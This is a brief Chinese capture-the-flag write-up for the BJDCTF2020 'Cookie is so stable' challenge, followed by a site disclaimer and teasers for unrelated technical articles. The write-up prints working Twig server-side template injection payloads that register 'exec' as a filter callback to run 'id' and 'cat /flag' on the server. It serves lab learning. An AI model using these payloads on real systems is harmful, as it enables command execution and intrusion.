首先这题flag模块有个登录页面
抓包
可以看到user=123，最后会返回hello 123，这里就很像ssti注入，输入user={{2*3}}
最后也是返回成功了，而且处理器是php，常见模块有：twig，smarty，blade
输入 user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
这里可以断定，是twig模块，直接上payload：
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[BJDCTF2020]Cookie is so stable
news/2024/9/23 9:31:28
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.ryyt.cn/news/60455.html
如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈，一经查实，立即删除！相关文章
Linkedin-SRE-中文教程-二-
Linkedin SRE 中文教程（二）原文：School of SRE
协议：CC BY-NC-SA 4.0一些 Python 概念原文：https://linkedin.github.io/school-of-sre/level101/python_web/python-concepts/虽然期望您了解 python 及其基本语法，但是让我们讨论一些基本概念，这将帮助您更好地理解 pyth…
分析负数取模与取余的规则
目录负数"取模"基本概念修正定义取整规则决定商的值取模和取余不一样.
负数"取模"基本概念如果a和d是两个自然数，d非零，可以证明存在两个唯一的整数 q 和 r，满足 a = q*d + r,且0 <= r < d。其中，q 被称为商，r 被称为余数。
//对应代码
int mai…
Openwrt挂载大容量NTFS磁盘，解决默认挂载不能写入问题，实现samba共享
1. 目的
在OpenWRT上挂载上大容量磁盘(NTFS文件系统)，支持读写操作。解决默认挂载仅能读取，不能写入问题。 配置Samba36，实现局域网文件夹共享。
2. 环境架构 ARMv7 Processor rev 1 (v7l)固件版本 OpenWrt 19.07.7内核版本 3.10.33安装插件smbd -v # 检查是否安装了smb
…
使用MySQL Workbench进行数据库备份
1、打开MySQL Workbench2、进行数据库连接配置 如果之前连过，会有历史记录，直接点击需要备份的连接即可3、进入主界面后，选择左侧的Administration选项卡，然后点击Data Export；或者点击工具栏的Server——Data Export4、选择要备份的数据库，默认选择所有的表，在objects …
Mininet安装记录
安装环境：
Ubuntu虚拟机版本：14.04
Mininet版本：2.3.1b1
1、更改软件镜像源
在设置中进行如下操作：选择国内的镜像站点，如阿里云。
点击关闭后，在弹出的窗口中点击重新载入，等待缓存更新完成。2、下载git
在终端中执行如下命令：
sudo apt-get install git没有报错的话，…
![[BJDCTF2020]Mark loves cat](https://img2024.cnblogs.com/blog/3374335/202409/3374335-20240914182555526-1318141796.png)
[BJDCTF2020]Mark loves cat
这题进去是一个网页，最后发现没有什么东西，最后查看源码发现，在源码的最后输出了一个dog这里就断定肯定存在一些隐藏的文件，最后通过kali扫描也是发现了一些 .git 文件，然后就想到了git源码泄露，但是不知道为什么我的扫描不出，就只好在网上找了大佬的代码了
index.php
&…
Redis运维之监控指标，性能监控，监控方式，响应慢分析
目录1 Redis监控1.1 Redis监控指标1.1.1 性能指标: Performance1.1.2 内存指标: Memory1.1.3 基本活动指标：Basic activity1.1.4 持久性指标: Persistence1.1.5 错误指标：Error1.2 监控方式1.2.1 info1.2.2 性能监控1.2.3 内存监控1.2.4 基本活动指标1.2.5 持久性指标1.2.6 错…
代码随想录算法 - 二叉树4
题目1 654. 最大二叉树
给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建:创建一个根节点，其值为 nums 中的最大值。
递归地在最大值 左边 的 子数组前缀上 构建左子树。
递归地在最大值 右边 的 子数组后缀上 构建右子树。返回 nums 构建的 …